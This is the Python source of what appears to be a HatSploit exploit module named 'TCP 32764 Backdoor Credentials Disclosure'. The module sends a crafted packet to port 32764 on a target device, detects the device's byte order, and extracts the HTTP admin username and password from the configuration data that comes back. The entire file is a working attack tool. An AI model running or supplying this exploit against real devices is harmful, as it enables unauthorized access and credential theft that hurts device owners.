#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

import re
import struct

from hatsploit.lib.module import Module
from hatsploit.utils.http import HTTPClient
from hatsploit.utils.tcp import TCPClient


class HatSploitModule(Module, HTTPClient, TCPClient):
    details = {
        'Name': "TCP 32764 Backdoor Credentials Disclosure",
        'Module': "exploit/unix/multi/32764_credentials_disclosure",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer'
        ],
        'Description': "Credentials disclosure in multiple devices through TCP 32764 backdoor.",
        'Comments': [
            ''
        ],
        'Platform': "unix",
        'Risk': "high"
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        }
    }

    def detect_endian(self, remote_host):
        client = self.open_tcp(remote_host, 32764)
        if not client.connect():
            self.output_error("Failed to detect endian!")
            return None

        client.send(b"abcde")
        response = client.recv(0xC)
        client.disconnect()

        sig, ret_val, ret_len = struct.unpack('<III', response)
        if sig == 0x53634D4D:
            return '<'
        if sig == 0x4D4D6353:
            return '>'
        self.output_error("Failed to detect endian!")
        return None

    def exploit(self, remote_host):
        self.output_process("Detecting endian...")
        endian = self.detect_endian(remote_host)

        if endian is None:
            self.output_error("Exploit failed!")
            return

        self.output_process("Generating payload...")
        headers = struct.pack(endian + 'III', 0x53634D4D, 1, 1)
        payload = headers + b'\x00'

        self.output_process("Sending payload...")
        client = self.open_tcp(remote_host, 32764)
        if not client.connect():
            self.output_error("Failed to send payload!")
            return

        client.send(payload)
        response = client.recv(0xC)

        sig, ret_val, ret_len = struct.unpack(endian + 'III', response)
        response = client.recv(ret_len)
        client.disconnect()

        lines = re.split("\x00|\x01", response.decode())
        pattern = re.compile('user(name)?|password|login')

        username, password = "", ""
        for line in lines:
            try:
                variable, value = line.split("=")
                if len(value) > 0 and pattern.search(variable):
                    if variable == 'http_username':
                        username = value
                    elif variable == 'http_password':
                        password = value
            except Exception:
                pass

        if username and password:
            self.print_table("Credentials", ('Username', 'Password'), (username, password))
        else:
            self.output_warning("Target vulnerable, but no credentials found.")

    def run(self):
        remote_host = self.parse_options(self.options)

        self.output_process(f"Exploiting {remote_host}...")
        self.exploit(remote_host)
